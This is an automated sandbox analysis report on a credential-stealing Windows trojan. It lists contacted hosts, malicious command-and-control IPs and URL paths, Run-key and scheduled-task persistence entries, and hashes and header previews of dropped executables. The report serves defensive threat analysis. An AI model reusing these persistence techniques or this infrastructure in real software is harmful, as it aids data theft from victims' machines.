https://necklacedmny.store/	file.exe, file.exe, 00000000.00000003.2123562004.000000000176D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2150740963.0000000001772000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2076082716.000000000176E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2123681269.0000000001778000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 21024c5511.exe, 00000009.00000003.2797498479.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2785938732.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2782680341.0000000005BCC000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2782618294.0000000001319000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2797279610.0000000005BCB000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2956312480.00000000010D6000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2999480700.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2973927647.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2979596133.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2956186047.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2998836914.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2956999656.00000000010E1000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2954765378.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog	firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://profiler.firefox.comhookProfilerRecordingButtonMOZ_BROWSER_TOOLBOX_BINARYdeveloper-button.to	firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/appId	firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/complete/	firefox.exe, 00000019.00000003.2956378668.0000025E891CA000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.18.14	youtube.com	United States	15169	GOOGLEUS	false
34.149.100.209	prod.remote-settings.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.243.93	push.services.mozilla.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
188.114.96.3	necklacedmny.store	European Union	13335	CLOUDFLARENETUS	true
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
34.120.208.123	telemetry-incoming.r53-2.services.mozilla.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546571
Start date and time:	2024-11-01 05:51:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@83/33@107/14
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 54.185.230.140, 35.160.212.113, 52.11.191.138
Excluded domains from analysis (whitelisted): fs.microsoft.com, services.addons.mozilla.org, ciscobinary.openh264.org, shavar.prod.mozaws.net, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, normandy.cdn.mozilla.net, a19.dscg10.akamai.net, ocsp.digicert.com, redirector.gvt1.com, safebrowsing.googleapis.com, normandy-cdn.services.mozilla.com, location.services.mozilla.com
Execution Graph export aborted for target 21024c5511.exe, PID 5560 because there are no executed function
Execution Graph export aborted for target R4UI5PZ4W045Z6XA.exe, PID 1684 because it is empty
Execution Graph export aborted for target file.exe, PID 3440 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1848 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5644 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:52:05	API Interceptor	10x Sleep call for process: file.exe modified
00:53:01	API Interceptor	6516643x Sleep call for process: skotes.exe modified
00:53:12	API Interceptor	30x Sleep call for process: 21024c5511.exe modified
00:53:55	API Interceptor	1x Sleep call for process: firefox.exe modified
05:52:31	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
05:53:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 21024c5511.exe C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe
05:53:21	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 996773cd54.exe C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe
05:53:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 036e90e395.exe C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe
05:53:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003096001\num.exe
05:53:46	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 21024c5511.exe C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe
05:53:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 996773cd54.exe C:\Users\user\AppData\Local\Temp\1003094001\996773cd54.exe
05:54:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 036e90e395.exe C:\Users\user\AppData\Local\Temp\1003095001\036e90e395.exe
05:54:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1003096001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.149.100.209	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.252.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	sF9f27gI0U.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	greenthingswithgreatnewsforgetmeback.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	ykDoK8BtxW.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\CT1ROX8L8OCI432H.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\CT1ROX8L8OCI432H.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\NY2MHEYTRUUIBIOHSM78UW53NORWWH.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QEDBGN5ZBSJ2P7FMKVJ.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\QEDBGN5ZBSJ2P7FMKVJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584656055010914
Encrypted:	false
SSDEEP:	12288:MqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tk:MqDEvCTbMWu7rQYlBQcBiT6rprG8abk
MD5:	E79F27AB2A69921BB110A37574D7B139
SHA1:	AE5A3C3D0602C608D4BED3331CCE90DFEC513451
SHA-256:	3B6C154CB62E1D8797B300EC8615F3CDFB692F5A31B3F6AB5B66278549332D4D
SHA-512:	6DD62C82AFD48CE91BB353F9BE96B8BA6F1D8E2406E689B765943328B1CB4C2FAAD6DE32B388937B586654DFC47E3FE9E5C4EBE4B8320ED896DBBFC904A98122
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...<R$g.........."..........X......w.............@..........................`...........@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2154496
Entropy (8bit):	7.964006956852183
Encrypted:	false
SSDEEP:	24576:0iIeK4bymvElk13GPcWRyRrgrURC2qk32BQUCtuYqlDMEIVREqAzFbrffp4v5ora:ueKwv8aAURGHBQUsuVNIYhzFffh0oM
MD5:	806FDA7172E2FAF55675DD6F5DD76BB5
SHA1:	A0B78D8E750CF05D84F7590295F8C089A0EFB130
SHA-256:	CE2D291542364BE8BEC1008295893BA24B3DA288898923A4F11BB144BD664E6F
SHA-512:	A8C767C42F3988E38D7F400034D846EB68E5A9A0B83E8DEFCCBB068DB9761C26637C1E58015361BE255DD2D5FE81EFC3CDF62B44DCB8279D1DDB49C37BED3E7E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,.......s...........@...........................s.......!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...xugdxrgk.0...PY.....................@...ygzrgnus......s....... .............@....taggant.0....s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ykDoK8BtxW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3027456
Entropy (8bit):	6.505043580641785
Encrypted:	false
SSDEEP:	49152:8NZEmdkDZn4w6aMWAfGnq2di0ty5rLqSIxk:80mOD2FhGq2dpY5rMx
MD5:	3CE8A084A0D153F38580F6DF179B0BE9
SHA1:	2C4756D7A989761B174CC79913AE4C37E19FFF10
SHA-256:	AF2230310BF32DDE9403E6706E93E157A793C90B24DB6907E77212B0CE557A4B
SHA-512:	8B7688A2DD48DD0912B660CA3798CF037214A6A58E9B03BACFF69D9A6084DA4FDA0FCD72C643ED543034916B9083A025019F867D9B1F15CAADDAA2EC4963C59E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
